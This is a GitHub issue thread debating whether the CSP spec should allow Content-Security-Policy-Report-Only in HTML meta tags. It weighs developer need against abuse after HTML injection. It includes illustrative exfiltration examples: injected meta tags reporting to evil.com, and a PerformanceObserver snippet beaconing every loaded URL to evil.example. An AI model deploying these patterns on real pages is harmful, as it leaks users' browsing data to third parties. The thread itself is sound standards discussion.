Allow CSP-Report-Only in meta tags. #277
Comments
|
Unfortunately I cannot find the discussion about it anymore from the early days of CSP. IIRC it was on the W3C WebAppSec mailing list(?). Anyway, the reason was as follows: It is to mitigate the effects of HTML injection attacks and the abuse of CSP. That is if you can inject <meta http-equiv="Content-Security-Policy" content="report-uri evil.com/reports">it is invisible but you can use it as a data channel out. Even worse: <meta http-equiv="Content-Security-Policy-Report-Only" content="default-src 'none'; report-uri evil.com/reports">is invisible and sends out everything that is loaded. This becomes interesting for example when you have URLs like Therefore report-uri was removed from |
|
CSPRO without the I can't see a downside to this, but that doesn't mean there isn't one! If the attacker can inject script to do this themselves then it's already game over. Is there a problem to enabling CSPRO in meta? |
|
good point! I completely forgot about it when responding. As I said, the arguments were made long time ago when no such event was ever thought of. This certainly does change the game... @mikewest @andypaicu ping ping ping :-D |
|
As far as I can recall, the argument against putting reporting into That said, I agree that firing a <meta
http-equiv="Content-Security-Policy-Report-Only"
content="[something that does not contain `report-uri`]"> |
|
When the decision was made the violation event was not on the table so the sole purpose of a CSPRO header was to send reports which meant that we could just blanket block CSPRO headers delivered in meta tags. Since we have events there is a use case for CSPRO headers in meta tags. IIRC we currently ignore the report-uri directive for CSP headers in meta tags so we can do the same thing for CSPRO headers. |
|
FWIW I like this proposal as well -- it helps developers safely deploy CSP on static HTML pages (which in some cases can't set response headers and have to use I can't think of a way this can be abused if setting CSPRO doesn't allow specifying |
|
I noticed this rather late, but I really wish we'd stop with |
|
And yet lots of content is still hosted on services that don't give authors the ability to set HTTP headers (this site, for one example). No one likes it, but there's a reason they keep getting added to specs. |
|
I think we can drop In the absence of such an API, it doesn't seem unreasonable to give developers the ability to test out a policy via in-page events. |
|
@dveditz as long as we provide solutions, there also won't be sufficient demand for GitHub et al to change. An API has similar issues in that suddenly policies are mutable rather than known at the point of document creation and immutable for its lifetime. |
|
Mutable policies at runtime are a feature, not a bug. :) |
|
Just like Mike suggested, I think there's no risk in allowing report-only policies in |
|
I think I'm on board with the usefulness of -Report-Only as long as it's only |
|
I'm still very much opposed per the rationale above. Coupled with the fact that we still haven't defined how (mutable) policies propagate it doesn't seem great to keep adding to that. |
|
Report-Only in meta tag solves a real issue for the developers - they can't effectively roll out CSP when the headers are not controlled (and in a surprising way). As long as meta headers continue to be supported - and have no alternatives in some web application deployment models - we should aim to make them helpful to the web developers. Not supporting CSP-RO seems artificial, and unrelated to the discussion about the policy propagation, meta deprecation or policy delivery mechanism; CSP-RO support in meta does not change the propagation model - it behaves in the same way as |
|
Agreed @koto. I don't see why site owners can't be expected to secure their own generated |
|
The following JS snippet leaks the URL of everything on the page without using CSP at all, and it doesn't break your website or require an HTML injection vulnerability in the new PerformanceObserver((events) => {
events.getEntries().forEach(({ name: url }) => {
navigator.sendBeacon(`//evil.example/${url}`);
});
}).observe({
entryTypes: ['resource', 'navigation', 'frame'],
});The existing |
|
@koto not adding to an existing problem makes it very much related, in my opinion. Let's address that first before we keep adding technical debt to it. |
|
Is there a consensus though that Wearing the security hat, the exfiltration via reports concern of CSP-RO in Wearing the author's hat who already spent tens of hours in multiple projects, figuring out how to make them add headers to unblock securing them, I don't think that a confusing asymmetry between CSP and CSP-RO making CSP adoption more difficult than it needs to be without a resolution in sight is a best place we can be in. Practically, the deprecation of CSP in meta (whenever it comes to this) should not be that much difficult if CSP-RO was also supported. First, Chrome's telemetry shows that CSP is 10x CSP-RO. Sites use CSP-RO to transition for CSP, and if meta was deprecated, sites with CSP would definitely be in a difficult position way more than sites with CSP-RO. If the idea is to discourage CSP in meta usage, then it probably works, but I'm not sure if we should go a great way to put roadblocks for using security features in the platform. |
|
Not being able to control response headers creates numerous security issues, e.g., XFO, CORP, and COOP. If you want to improve security of apps they will need to be able to control those aspects. |
|
I agree, but see a real value in mitigating injections (the most prevalent vulnerability type still) without addressing those other threats. There will always be instances where XSS is of a grave concern, whereas e.g. framing should be allowed. Headers (or other out-of-band delivery mechanisms) are very useful, but I don't agree their control should be a baseline for having a chance against XSS. Especially given the current situation of supporting meta CSP. |
|
@koto We ship a JS Consent Manager library with an optional feature that generates consent-derived runtime-created
This use case is not possible with server-side CSP without storing user sessions & consent on a backend. I would not want to see this feature removed from browsers. |
|
If the point here is to prevent information leaks via I tried this: <meta http-equiv="Content-Security-Policy-Report-Only" content="report-to name;">and getting error
|
|
I agree with supporting 'Content-Security-Policy-Report-Only' in meta tags found in the header and disallow setting 'report-to' and instead rely on the CSP violation event. |
|
In case this issue is still open for discussion, there is an alternative way of Reporting APIs wrapper functions of Note: Meta tags with report-to seem to work as of 2023 but require additional headers to function properly. This can be easily used to log errors and browser crashes as well. let me know what you think. |
|
I'd like to add to the earlier calls for supporting report only mode within meta tags. Given since the original discussion many years ago nothing has been done to remove meta support for CSP I think the artificial limitation which blocks report only mode should be removed. |
|
As I mentioned in #640 (comment) I'm still very much opposed to increasing the number of mutable policies. |
Refactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to enabled trusted-types in report-only mode via `<meta>` tags, see w3c/webappsec-csp#277
Refactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to enabled trusted-types in report-only mode via `<meta>` tags, see w3c/webappsec-csp#277
|
Agreed with @annevk. The Reporting API seems sufficient here. |
Hello, in case that 'report-to' meta tags are retrieved by web crawlers externally there could be a security or data-leak issue in my opinion. Isn't using chrome event observers easier and more preferable? let me know what you think. |
Refactor away some trival usages of `.innerHTML`. Unfortunately, there is no way to enabled trusted-types in report-only mode via `<meta>` tags, see w3c/webappsec-csp#277
|
Doesn't that apply to enforcement mode as well as report only mode? |
and others
The CSP 3 spec does not allow Content-Security-Policy-Report-Only headers in meta tags. This can prevent sites from safely testing CSP prior to enforcing the policy with a Content-Security-Policy meta tag.
I'd like to allow site operators who can only deploy CSP via meta tags the option to safely test their policy. Prime examples of this are GitHub pages and hosted platforms like Ghost.
I'm not sure why CSPRO is restricted from meta, can anyone provide the reason?
I'm working with many sites (via my CSP reporting service https://report-uri.com) that currently have exactly this issue so it'd be great to see if we can do something for them in the spec.
The text was updated successfully, but these errors were encountered: